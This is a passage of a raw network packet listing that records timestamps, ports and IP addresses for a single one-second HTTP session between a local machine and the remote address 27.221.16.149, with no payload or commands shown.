Aug 5, 2024 12:01:22.786402941 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786413908 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786429882 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786439896 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786447048 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.786449909 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786459923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786463976 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.786470890 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786483049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.786504030 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.786530018 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787007093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787019014 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787029028 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787039042 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787049055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787053108 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787060022 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787070990 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787077904 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787081957 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787096977 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787117004 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787616014 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787626982 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787636042 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787642956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787655115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787667990 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787679911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787679911 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787689924 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787700891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787703991 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787718058 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787728071 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787729025 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787740946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787753105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.787758112 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.787782907 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.788516998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788528919 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788538933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788549900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788559914 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788570881 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788687944 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.788687944 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.788687944 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.788871050 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788882017 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788892031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.788921118 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.788948059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.053225994 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053256035 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053267956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053368092 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.053426981 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053438902 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053450108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053461075 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053468943 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.053489923 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.053756952 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053769112 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053780079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053808928 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.053809881 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.053832054 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054168940 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054181099 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054191113 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054202080 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054212093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054215908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054224014 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054234028 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054239988 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054245949 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054260969 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054280996 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054836035 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054846048 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054856062 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054867029 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054877043 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054881096 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054888010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054898977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054907084 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054909945 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.054925919 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.054940939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.055425882 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055473089 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.055557013 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055569887 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055581093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055592060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055602074 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055603027 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.055613995 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055623055 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.055627108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055639029 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055649996 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.055661917 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.055685997 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.056473017 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056492090 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056502104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056513071 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056515932 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.056524038 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056535006 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056539059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.056545973 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056560993 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056561947 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.056571960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056581974 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.056585073 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.056616068 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.057380915 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057393074 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057403088 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057413101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057423115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057425976 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.057435036 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057445049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057445049 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.057456970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057467937 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057473898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.057480097 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.057498932 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.058289051 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058300972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058310032 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058320999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058330059 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058336973 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.058341026 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058355093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058357954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.058367014 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058377028 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.058378935 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058391094 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.058392048 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.058419943 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.059197903 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059209108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059217930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059228897 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059238911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059247971 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059252024 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.059258938 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059267998 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.059269905 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059282064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059287071 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.059292078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.059295893 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.059317112 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.060070992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060081959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060091019 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060101986 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060111046 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060120106 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060122013 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.060131073 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060137987 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.060142040 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.060175896 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.139996052 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.187197924 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.384219885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384305000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384382010 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.384396076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384432077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384464979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384471893 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.384516954 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384568930 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.384648085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384659052 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384669065 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384674072 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.384696960 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.384740114 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385046959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385057926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385068893 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385081053 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385091066 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385093927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385102987 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385113955 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385123968 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385123968 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385143042 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385163069 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385801077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385812998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385823011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385832071 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385842085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385842085 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385853052 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385863066 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385873079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385876894 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385884047 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385895014 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385910034 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.385912895 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.385946035 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386785030 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386796951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386811972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386822939 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386832952 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386833906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386846066 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386851072 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386857986 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386869907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386876106 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386881113 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386893034 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386899948 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386904955 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.386914015 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.386954069 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.387763977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387774944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387784958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387789965 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387799978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387811899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387821913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387824059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.387833118 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387845039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387851954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.387856960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387870073 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.387870073 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.387901068 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388760090 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388771057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388778925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388789892 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388799906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388807058 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388811111 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388822079 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388822079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388834000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388844967 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388851881 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388854980 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388865948 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388871908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388878107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.388886929 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.388906956 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389734983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389746904 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389756918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389769077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389777899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389782906 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389789104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389800072 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389810085 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389810085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389822006 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389825106 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389833927 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389843941 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.389848948 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389863968 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.389883995 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.390737057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390748024 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390757084 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390769958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390779018 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.390779972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390789986 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390795946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390803099 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.390806913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390819073 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390820026 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.390830040 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390840054 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.390840054 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.390873909 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.391657114 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391666889 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391676903 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391686916 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391697884 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391700983 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.391710043 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391717911 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.391721964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391733885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.391735077 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.391760111 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.438931942 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.450299978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.501441956 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.695836067 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.695873976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.695884943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.695971012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696021080 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696033001 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696095943 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696122885 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696132898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696218967 CEST	80	49893	27.221.16.149	192.168.2.7
